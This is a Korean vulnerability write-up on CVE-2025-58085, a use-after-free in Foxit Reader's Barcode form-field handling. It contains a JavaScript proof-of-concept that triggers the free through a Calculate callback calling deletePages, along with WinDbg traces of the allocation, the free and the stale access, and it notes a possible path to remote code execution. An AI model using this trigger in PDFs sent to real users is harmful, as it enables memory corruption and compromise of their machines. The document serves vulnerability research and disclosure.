[하루한줄] CVE-2025-58085: Foxit Reader Barcode Calculate CPDF_FormField UAF 취약점
URL
Target
- Foxit Reader < 2025.2.1 or 14.0.1/13.2.1+
Explain
Foxit Reader에서 Barcode 객체(CPDF_FormField)를 처리할 때 UAF 취약점이 발생했습니다.
공격자는 아래 JavaScript 코드를 포함한 PDF 문서를 통해 UAF를 트리거 할 수 있습니다.
참고로 Foxit Reader는 Google의 V8 JavaScript 엔진을 사용합니다.
function main() {
getField("Barcode Field0").setAction("Calculate",'delete_page();');
app.activeDocs[0].addField('aaaa', "radiobutton", 1, [18,7,3,20] ) ;
app.activeDocs[0].getField('aaaa').checkThisBox(0,true);
}
function delete_page() {
event.value = 'b';
app.activeDocs[0].deletePages();
}
main 함수에서 Barcode Field0의 Calculate 이벤트 콜백 함수(delete_page)를 설정합니다.
이후 checkThisBox가 호출되면서 내부적으로 UpdateFormField 실행되어 Calculate 이벤트가 발생합니다. 따라서, Barcode Field0 객체(CPDF_FormField)가 free 되지만 UpdateFormField에서 Barcode Field0 객체를 다시 참조해 UAF가 트리거 됩니다.
FoxitPDFReader!safe_vsnprintf+0x337ca7:
00007ff6`b79f6ec7 b948000000 mov ecx,48h ; [1]
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cac: [2]
00007ff6`b79f6ecc e87f882c00 call FoxitPDFReader!safe_vsnprintf+0x600530 (00007ff6`b7cbf750);
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cb1:
00007ff6`b79f6ed1 488985d8000000 mov qword ptr [rbp+0D8h],rax ss:00000019`12ef8b58=0000017cfca95fb0
0:000> r
rax=0000017cdade0fb0 rbx=0000017c91a39fd0 rcx=000000007ffe0380
rdx=d0d0d0d0d0d0d0d0 rsi=0000000000400000 rdi=0000017cfca95fb0
rip=00007ff6b79f6ed1 rsp=0000001912ef8980 rbp=0000001912ef8a80
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000017cdade0fb0 r12=0000017cfca95fb0 r13=0000000000000000
r14=00007ff6bccd4ce4 r15=0000017c91a39ed0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
FoxitPDFReader!safe_vsnprintf+0x337cb1:
00007ff6`b79f6ed1 488985d8000000 mov qword ptr [rbp+0D8h],rax ss:00000019`12ef8b58=0000017cfca95fb0
0:000> dd rax ; [3]
0000017c`dade0fb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0fc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0000017c`dade0ff0 c0c0c0c0 c0c0c0c0 d0d0d0d0 d0d0d0d0
0000017c`dade1000 ???????? ???????? ???????? ????????
0000017c`dade1010 ???????? ???????? ???????? ????????
0000017c`dade1020 ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cb8:
00007ff6`b79f6ed8 4c8bbdd0000000 mov r15,qword ptr [rbp+0D0h] ss:00000019`12ef8b50=0000017c91a39ed0
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cbf:
00007ff6`b79f6edf 4885c0 test rax,rax
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cc2:
00007ff6`b79f6ee2 7413 je FoxitPDFReader!safe_vsnprintf+0x337cd7 (00007ff6`b79f6ef7) [br=0]
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cc4:
00007ff6`b79f6ee4 4c8bc7 mov r8,rdi
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cc7:
00007ff6`b79f6ee7 498bd7 mov rdx,r15
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cca:
00007ff6`b79f6eea 488bc8 mov rcx,rax
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337ccd: [4]
00007ff6`b79f6eed e88e3d0100 call FoxitPDFReader!safe_vsnprintf+0x34ba60 (00007ff6`b7a0ac80) ;
FoxitPDFReader!safe_vsnprintf+0x337cd2:
00007ff6`b79f6ef2 4c8bf0 mov r14,rax
0:000> dq 0000017c`dade0fb0 ; [5]
0000017c`dade0fb0 00000905`00000004 0000017c`91a39ed0
0000017c`dade0fc0 0000017c`fca95fb0 00000000`00000000
0000017c`dade0fd0 00000000`00000000 00000000`00000000
0000017c`dade0fe0 00000008`00000000 c0c0c0c0`00000000
0000017c`dade0ff0 00000000`00000000 d0d0d0d0`d0d0d0d0
0000017c`dade1000 ????????`???????? ????????`????????
0000017c`dade1010 ????????`???????? ????????`????????
0000017c`dade1020 ????????`???????? ????????`????????
[1]에서 Barcode Field0 객체의 크기를 설정하고 [2] 할당 함수를 통해 객체를 생성합니다.
[3]을 확인하면 현재 PageHeap이 활성화된 상태로 c0c0c0c0 값이 존재합니다.
[4] 함수가 호출되어 CPDF_FormField 객체 초기화 후 [5]에서 객체 멤버 변수를 확인할 수 있습니다.
0:000> r
rax=0000000000000001 rbx=0000017c91a39fd0 rcx=0000017cb4260000
rdx=0000017cb4260000 rsi=0000017cb0fa0fc0 rdi=0000017cdade0fb0
rip=00007ff6b79f99b1 rsp=0000001912efccc0 rbp=000000000000000c
r8=0000000000000000 r9=0000000000000001 r10=00000000ffffffef
r11=0000001912efcbf0 r12=0000001912efcd98 r13=0000017c91a39ed0
r14=0000000000000000 r15=0000017cfca95fb0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
FoxitPDFReader!safe_vsnprintf+0x33a791:
00007ff6`b79f99b1 488bcf mov rcx,rdi ;
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a794: [6]
00007ff6`b79f99b4 e8775e2c00 call FoxitPDFReader!safe_vsnprintf+0x600610 (00007ff6`b7cbf830) ;
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a799:
00007ff6`b79f99b9 49c7042400000000 mov qword ptr [r12],0 ds:00000019`12efcd98=0000017cdade0fb0
0:000> dq 0000017cdade0fb0 ;
0000017c`dade0fb0 ????????`???????? ????????`????????
0000017c`dade0fc0 ????????`???????? ????????`????????
0000017c`dade0fd0 ????????`???????? ????????`????????
0000017c`dade0fe0 ????????`???????? ????????`????????
0000017c`dade0ff0 ????????`???????? ????????`????????
0000017c`dade1000 ????????`???????? ????????`????????
0000017c`dade1010 ????????`???????? ????????`????????
0000017c`dade1020 ????????`???????? ????????`????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a7a1:
00007ff6`b79f99c1 41c6859100000001 mov byte ptr [r13+91h],1 ds:0000017c`91a39f61=01
JS 코드 중 deletePages() 실행되면서 내부적으로 [6] CPDF_InterForm::DeleteField가 호출되어 해당 페이지의 객체들을 메모리에서 free 합니다.
0:000> g
FoxitPDFReader!safe_vsnprintf+0x351e0b: [7]
00007ff6`b7a1102b 8b01 mov eax,dword ptr [rcx] ds:0000017c`dade0fb0=????????
0:000> u
FoxitPDFReader!safe_vsnprintf+0x351e0b:
00007ff6`b7a1102b 8b01 mov eax,dword ptr [rcx]
00007ff6`b7a1102d 83c0fe add eax,0FFFFFFFEh
00007ff6`b7a11030 83f806 cmp eax,6
00007ff6`b7a11033 0f872a060000 ja FoxitPDFReader!safe_vsnprintf+0x352443 (00007ff6`b7a11663)
00007ff6`b7a11039 4898 cdqe
00007ff6`b7a1103b 488d0dbeef3ffe lea rcx,[FoxitPDFReader (00007ff6`b5e10000)]
00007ff6`b7a11042 448b8c81b016c001 mov r9d,dword ptr [rcx+rax*4+1C016B0h]
00007ff6`b7a1104a 4c03c9 add r9,rcx
[7]번에서 CPDF_FormField 객체를 다시 참조해 UAF가 발생합니다.
메모리 구조에 따라 Arbitrary Read/Write가 가능해 RCE까지 이어질 수 있습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.